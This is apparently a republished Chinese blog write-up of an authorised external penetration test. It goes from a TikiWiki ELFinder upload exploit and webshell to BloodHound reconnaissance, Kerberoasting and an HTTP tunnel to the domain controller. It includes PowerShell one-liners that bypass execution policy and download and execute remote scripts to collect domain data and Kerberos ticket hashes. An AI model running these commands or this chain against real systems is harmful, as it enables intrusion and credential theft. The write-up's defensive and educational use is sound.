从一个IP入手到拿下域控的整个过程

在一次渗透测试中,客户给了一个 IP 范围,要求执行外部的渗透测试,再尝试 nessus 扫描之后没有发现任何可以利用的点,着着我不得不探查目标 IP 是否部署有 web 服务,从而进一步测试 。
反查域名
企业外部提供服务的网站都是通过域名来访问,在得知目标 IP 的情况下,我们是有机会获取到有哪些域名解析到这个 IP 之上,方法有很多,比如一些网站提供的 IP 反查功能,还有一些 DNS 数据库中查询,还有就是通过搜索引擎的语法,这里我是用 bing 的搜索语法来看看这些 IP 上部署了哪些 web 服务 。
经过一轮搜索,发现其中一个 IP 部署了一个 wiki 系统,如图:

从一个IP入手到拿下域控的整个过程

文章插图
 
链接中有 tiki 关键词,让我联想到了 TikiWiki CMS,接下来我通过搜索引擎搜索关于 TikiWiki 相关的远程命令执行的漏洞,别说,还真有,问题出在插件 ELFinder 中,恰好目标使用了这个插件:
从一个IP入手到拿下域控的整个过程

文章插图
 
漏洞利用
漏洞利用的 EXP 在 exploit-db 上找到,是 msf 的插件,需要使用 msf 来进行利用,漏洞利用 EXP 地址:
 
https://www.exploit-db.com/exploits/40091
 
该漏洞是一个文件上传漏洞,利用过程如图:
从一个IP入手到拿下域控的整个过程

文章插图
 
但是在实际利用的时候,发现没有成功,报错提示是连接被重置:
从一个IP入手到拿下域控的整个过程

文章插图
 
因为漏洞原理我们是知道的,毕竟 exp 中写得很详细,接下来我们尝试手工复现,构造漏洞利用的数据包,然后提交至服务器,如图:
从一个IP入手到拿下域控的整个过程

文章插图
 
发现上传成功,接下来可以访问 webshell 来控制目标服务器 。
权限提升
在使用 php webshell 执行 systeminfo 命令时返回信息中发现,目标服务器在域中(Domain 字段有域名):
从一个IP入手到拿下域控的整个过程

文章插图
 
然后查看当前 shell 的权限,使用命令 whoami,发现是 IIS_IUSRS:
从一个IP入手到拿下域控的整个过程

文章插图
 
从这里我们可以知道目标服务器操作系统是 windows,web 服务器是 IIS,使用 asp 的 webshell 会有不同的权限,我尝试上传了一个 aspx 的 webshell,然后查询当前权限,发现是 NT AUTHORITY.NETWORK SERVICE 权限:
从一个IP入手到拿下域控的整个过程

文章插图
 
域信息收集
接下来我是用 BloodHound 来收集域中的相关信息,命令:
 
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/incredibleindishell/Windows-AD-environment-related/master/Blood_Hound/bps_in.ps1'); Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV
 
将收集到的信息上传至本地的 BloodHound 控制台,发现有很少的用户可以获取域管理员的权限:
从一个IP入手到拿下域控的整个过程

文章插图
 
接下来使用 Invoke-Kerberoast 收集 Kerberos TGS Ticket,命令:
【从一个IP入手到拿下域控的整个过程】 
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty hash | Out-File -filepath ticket_b0x.txt
 
将获取到的 Ticket 信息使用 hashcat 进行暴力破解,还好在一天后成功获得密码 。
建立 HTTP 隧道控制内部服务器
测试时发现,内部比较敏感的机器,比如域控制器,无法建立反向隧道,因为外围防火墙做了出站限制,为了解决这个问题,我是用了 NCC 组织开发的建立 HTTP 隧道的脚本:
 
https://github.com/nccgroup/ABPTTS
 
将 asox 脚本上传至 web 服务器,然后在本地启动,这样我们在本地就可以访问域控制器上的资源:
从一个IP入手到拿下域控的整个过程

文章插图
 
其实 ABPTTS 的功能与 reGeorg 类似,通过主动连接 web 服务器后门来建立 HTTP 虽然,然后就可以将本地的流量通过 web 服务器上的后门转发至内网,从而实现对内部敏感服务器的访问 。


推荐阅读